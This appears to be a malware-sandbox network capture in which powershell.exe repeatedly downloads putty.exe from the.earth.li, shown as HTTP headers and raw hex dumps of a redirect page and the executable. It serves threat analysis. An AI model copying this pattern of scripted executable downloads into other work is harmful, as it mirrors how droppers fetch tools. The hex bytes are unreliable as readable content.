                                                                                                                                                  2022-12-04 11:10:11 UTC1568INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  31192.168.2.34973193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:10:11 UTC1568OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:10:11 UTC1568INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:10:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:10:11 UTC1569INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  32192.168.2.34973293.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:10:38 UTC1576OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:10:38 UTC1577INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:10:38 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:10:38 UTC1577INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  33192.168.2.34973393.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:10:39 UTC1577OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:10:39 UTC1577INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:10:39 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:10:39 UTC1577INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  34192.168.2.34973893.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:11:11 UTC1585OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:11:11 UTC1585INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:11:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:11:11 UTC1586INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  35192.168.2.34973993.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:11:11 UTC1586OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:11:11 UTC1586INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:11:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:11:11 UTC1586INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  36192.168.2.34975093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:11:47 UTC1594OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:11:47 UTC1594INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:11:47 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:11:47 UTC1594INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  37192.168.2.34975193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:11:47 UTC1595OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:11:47 UTC1595INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:11:47 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:11:47 UTC1595INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X
                                                                                                                                                  2022-12-04 11:11:47 UTC1603INData Raw: 04 50 6a ff ff 15 44 d7 4f 00 89 c3 83 c0 01 83 f8 02 72 30 ff 34 24 6a 00 6a 00 6a 02 53 ff 15 b8 d8 4f 00 85 c0 74 1c ff 34 24 ff 37 50 89 44 24 14 e8 fa d8 09 00 83 c4 0c ff 74 24 08 ff 15 30 d9 4f 00 57 e8 a7 6b 03 00 83 c4 04 ff 34 24 53 56 68 04 e1 4d 00 e8 d5 5a 03 00 83 c4 10 89 c6 bf 01 00 00 00 e9 a0 07 00 00 3d 80 01 00 00 0f 84 45 08 00 00 3d 90 01 00 00 0f 85 ae 08 00 00 6a 01 68 d4 70 4c 00 ff 35 38 17 50 00 89 d6 e8 7c db 00 00 89 f2 83 c4 0c e9 25 09 00 00 83 f8 50 0f 84 1f 08 00 00 83 f8 60 0f 85 7e 08 00 00 ff 35 38 17 50 00 89 d6 e8 53 b4 00 00 e9 fc 08 00 00 3d a0 01 00 00 0f 84 4d 08 00 00 3d 70 f0 00 00 0f 85 56 08 00 00 81 fd 12 01 00 00 0f 85 df 08 00 00 c6 05 cb 1d 50 00 01 52 53 68 12 01 00 00 57 ff 15 88 d5 4f 00 89 c6 c6 05 cb
                                                                                                                                                  Data Ascii: PjDOr04$jjjSOt4$7PD$t$0OWk4$SVhMZ=E=jhpL58P|%P`~58PS=M=pVPRShWO
                                                                                                                                                  2022-12-04 11:11:47 UTC1611INData Raw: 50 00 e8 9a 29 03 00 83 c4 08 0f b6 f8 8d 2c fd 00 00 00 00 68 8a 00 00 00 ff 35 f0 0b 50 00 e8 7d 29 03 00 83 c4 08 8d 3c fd 00 02 00 00 84 c0 0f 44 fd c6 05 18 17 50 00 01 e8 e2 c5 ff ff 6a 00 ff 74 24 5c 6a 00 6a 00 53 ff 74 24 18 68 00 00 00 80 68 00 00 00 80 56 8b 4c 24 24 89 cb 51 50 57 ff 15 7c d5 4f 00 a3 04 00 50 00 85 c0 75 1a ff 15 e8 d7 4f 00 50 e8 d4 81 03 00 83 c4 04 50 68 63 0b 4e 00 e8 66 08 00 00 c7 05 30 17 50 00 00 00 00 00 c7 05 2c 17 50 00 00 00 00 00 c7 05 28 17 50 00 00 00 00 00 c7 05 24 17 50 00 00 00 00 00 c7 05 20 17 50 00 00 00 00 00 c7 05 1c 17 50 00 00 00 00 00 83 3d 80 1d 50 00 00 74 4e 8b 0d 84 1d 50 00 85 c9 74 44 6a 01 50 ff d1 8d 4c 24 08 8d 54 24 18 51 52 6a 00 50 ff 15 80 1d 50 00 85 c0 75 15 8b 4c 24 18 89 0d 1c 17 50
                                                                                                                                                  Data Ascii: P),h5P})<DPjt$\jjSt$hhVL$$QPW|OPuOPPhcNf0P,P(P$P PP=PtNPtDjPL$T$QRjPPuL$P
                                                                                                                                                  2022-12-04 11:11:47 UTC1619INData Raw: 00 5e 5b c3 68 75 04 00 00 68 ea 2f 4f 00 68 f4 88 4f 00 e8 7c 6a 0a 00 83 c4 0c e8 01 00 00 00 cc e8 9c 71 0a 00 cc cc cc cc cc cc cc cc cc cc cc 57 56 83 3d a4 17 50 00 00 74 17 68 f7 12 00 00 68 ea 2f 4f 00 68 28 2d 4f 00 e8 44 6a 0a 00 83 c4 0c a1 04 00 50 00 31 ff 85 c0 74 1e 50 ff 15 e4 d5 4f 00 85 c0 74 13 89 c6 6a 00 ff 35 78 17 50 00 50 ff 15 f4 d4 4f 00 89 f7 89 3d a4 17 50 00 85 ff 0f 95 c0 5e 5f c3 cc cc cc cc cc cc cc 55 53 57 56 83 ec 08 8d 7c 24 38 8b 6c 24 30 8b 5c 24 2c 8b 74 24 28 8b 54 24 24 8b 4c 24 20 85 ed 78 1b 8b 07 8b 7f 04 57 50 ff 74 24 3c 55 53 56 e8 8a 1e 00 00 83 c4 20 e9 59 02 00 00 b9 01 00 00 00 83 fb 02 7c 25 0f b7 06 25 00 fc 00 00 3d 00 d8 00 00 75 16 0f b7 46 02 25 00 fc 00 00 31 c9 3d 00 dc 00 00 0f 94 c1 83 c1 01 89
                                                                                                                                                  Data Ascii: ^[huh/OhO|jqWV=Pthh/Oh(-ODjP1tPOtj5xPPO=P^_USWV|$8l$0\$,t$(T$$L$ xWPt$<USV Y|%%=uF%1=
                                                                                                                                                  2022-12-04 11:11:47 UTC1626INData Raw: 17 50 00 50 ff 15 f4 d4 4f 00 89 fe 89 f0 5e 5f c3 55 53 57 56 81 ec ac 00 00 00 89 54 24 14 89 ca 8b bc 24 cc 00 00 00 a1 34 00 50 00 31 e0 31 db 89 f9 83 e1 03 0f 95 c3 83 c3 01 0f af 1d 00 17 50 00 8b 8c 24 c8 00 00 00 89 0c 24 c1 e9 16 80 e1 01 89 84 24 a8 00 00 00 89 de d3 e3 83 e7 03 74 15 8d 04 12 8b 0d 38 17 50 00 3b 81 2c 01 00 00 0f 8d 53 0f 00 00 a1 04 17 50 00 31 ed f7 84 24 c8 00 00 00 00 00 00 40 75 0a c7 44 24 0c 00 00 00 00 eb 49 83 3d b0 17 50 00 00 74 0f 8b 0d 38 17 50 00 80 b9 43 01 00 00 00 74 de 8b 0d b0 78 4c 00 8d ac 24 d0 00 00 00 89 4d 04 89 4d 00 31 ed 8b 8c 24 c8 00 00 00 81 e1 00 00 cc fe 81 c9 04 0b 02 00 89 0c 24 b1 01 89 4c 24 0c 0f af f2 89 f2 8b 4c 24 14 0f af c8 89 4c 24 14 c7 44 24 08 01 00 00 00 85 ff 89 5c 24 1c 74 09
                                                                                                                                                  Data Ascii: PPO^_USWVT$$4P11P$$$t8P;,SP1$@uD$I=Pt8PCtxL$MM1$$L$L$L$D$\$t
                                                                                                                                                  2022-12-04 11:11:47 UTC1634INData Raw: 44 24 44 39 c6 0f 4c f0 d9 c0 d8 84 24 b0 00 00 00 d8 84 24 b4 00 00 00 d8 84 24 b8 00 00 00 d9 7c 24 02 0f b7 44 24 02 0d 00 0c 00 00 66 89 44 24 16 d9 6c 24 16 db 5c 24 48 d9 6c 24 02 8b 44 24 48 39 c6 0f 4c f0 d8 84 24 bc 00 00 00 d8 84 24 c0 00 00 00 d8 84 24 c4 00 00 00 d9 3c 24 0f b7 04 24 0d 00 0c 00 00 66 89 44 24 14 d9 6c 24 14 db 5c 24 4c d9 2c 24 8b 44 24 4c 39 c6 0f 4c f0 eb 03 8b 76 18 8b 8c 24 c8 00 00 00 31 e1 e8 bd 33 09 00 89 f0 81 c4 cc 00 00 00 5e c3 cc cc cc ff 35 04 00 50 00 ff 15 58 d6 4f 00 85 c0 74 15 6a f0 ff 35 04 00 50 00 ff 15 28 d6 4f 00 a9 00 00 c0 00 74 2e ff 35 04 00 50 00 ff 15 58 d6 4f 00 85 c0 74 05 e9 a6 01 00 00 6a 00 6a 00 68 03 80 00 00 ff 35 04 00 50 00 ff 15 bc d6 4f 00 6a 03 eb 02 6a 09 ff 35 04 00 50 00 ff 15 0c
                                                                                                                                                  Data Ascii: D$D9L$$$|$D$fD$l$\$Hl$D$H9L$$$<$$fD$l$\$L,$D$L9Lv$13^5PXOtj5P(Ot.5PXOtjjh5POjj5P
                                                                                                                                                  2022-12-04 11:11:47 UTC1642INData Raw: 83 c4 18 8d 8b ff ff fe ff 81 f9 fe ff 0f 00 0f 87 3c ff ff ff 8d 93 00 00 ff 03 c1 ea 0a 81 c2 00 d8 ff ff 8d 4f 01 81 e3 ff 03 00 00 81 cb 00 dc 00 00 66 89 5c 78 02 e9 18 ff ff ff 90 90 90 90 81 4c 24 48 00 00 00 80 8b 44 24 30 8b 4c 24 10 eb 18 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8b 44 24 30 8b 4c 24 10 89 fa 8b 6c 24 08 8b 5c 24 18 84 db 0f 85 a8 00 00 00 89 54 24 04 8b 3c 24 8b 47 18 8b 4c 24 10 8b 0c 88 89 ea ff 74 24 44 e8 4a a7 00 00 8b 4c 24 14 83 c4 04 8b 47 18 8b 04 88 8b 40 14 89 ee 8b 6c 24 64 8b 54 24 28 89 14 28 8b 47 18 8b 04 88 8b 40 14 8b 54 24 2c 89 54 28 04 8b 47 18 8b 04 88 8b 40 14 8b 5c 24 40 89 5c 28 0c 8b 54 24 0c 89 54 28 08 89 f5 89 d8 c1 e8 10 89 44 24 54 89 d0 c1 e8 10 89 44 24 5c c1 eb 18 89 5c 24 50 c1 ea 18 89 54 24
                                                                                                                                                  Data Ascii: <Of\xL$HD$0L$D$0L$l$\$T$<$GL$t$DJL$G@l$dT$((G@T$,T(G@\$@\(T$T(D$TD$\\$PT$
                                                                                                                                                  2022-12-04 11:11:47 UTC1650INData Raw: 10 00 00 01 c6 86 55 01 00 00 00 68 3c 13 4f 00 e8 0c 01 03 00 83 c4 04 89 86 2c 11 00 00 68 3c 13 4f 00 e8 f9 00 03 00 83 c4 04 89 86 30 11 00 00 c7 86 38 11 00 00 00 00 00 00 c7 86 34 11 00 00 00 00 00 00 c6 86 3c 11 00 00 00 c7 86 d4 20 00 00 00 00 00 00 c6 86 bc 20 00 00 00 c6 86 be 20 00 00 00 c6 86 c0 20 00 00 00 66 c7 86 c2 20 00 00 00 00 c6 86 c4 20 00 00 00 66 c7 86 c6 20 00 00 00 00 c6 86 c8 20 00 00 00 c7 86 a0 20 00 00 00 00 00 00 c7 86 a4 20 00 00 00 00 00 00 c7 86 a8 20 00 00 00 00 00 00 c7 86 ac 20 00 00 00 00 00 00 c6 86 b0 20 00 00 00 e8 62 c1 00 00 89 86 40 11 00 00 89 f1 31 d2 e8 13 00 00 00 89 f0 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 0c 89 54 24 04 89 ce 8d 81 56 14 00 00 68 06 01 00 00 6a 01 50 e8 30 22
                                                                                                                                                  Data Ascii: Uh<O,h<O084< f f b@1^_[]USWVT$VhjP0"
                                                                                                                                                  2022-12-04 11:11:47 UTC1658INData Raw: 0c 00 0f 84 49 fb ff ff ff 76 14 e8 31 8b 02 00 83 c4 04 56 e8 28 8b 02 00 83 c4 04 e9 30 fb ff ff 8b 47 60 8b 7f 64 8d 4c 24 4c 31 f6 31 d2 57 50 6a 00 e8 69 7e 00 00 83 c4 0c 8b 94 24 c8 00 00 00 85 d2 7e 67 8b bc 24 c4 00 00 00 0f b6 ac 24 c0 00 00 00 31 c9 eb 11 90 90 90 90 90 90 90 90 89 d9 83 c6 01 39 f2 74 3e 89 cb 8b 04 b7 85 c0 74 ee b1 01 83 f8 01 74 e9 8b 4c 24 14 8b 91 5c 10 00 00 8b 0a 55 ff 74 24 54 ff 74 24 6c ff 74 24 68 ff 74 24 64 50 52 ff 51 2c 8b 94 24 e4 00 00 00 83 c4 1c eb b9 f6 c1 01 75 26 ff 74 24 54 e8 8b 8a 02 00 83 c4 04 ff 74 24 5c e8 7f 8a 02 00 83 c4 04 ff 74 24 64 e8 73 8a 02 00 83 c4 04 eb 56 8b 74 24 14 ff b6 08 11 00 00 e8 5f 8a 02 00 83 c4 04 ff b6 0c 11 00 00 e8 51 8a 02 00 83 c4 04 ff b6 10 11 00 00 e8 43 8a 02 00 83
                                                                                                                                                  Data Ascii: Iv1V(0G`dL$L11WPji~$~g$$19t>ttL$\Ut$Tt$lt$ht$dPRQ,$u&t$Tt$\t$dsVt$_QC
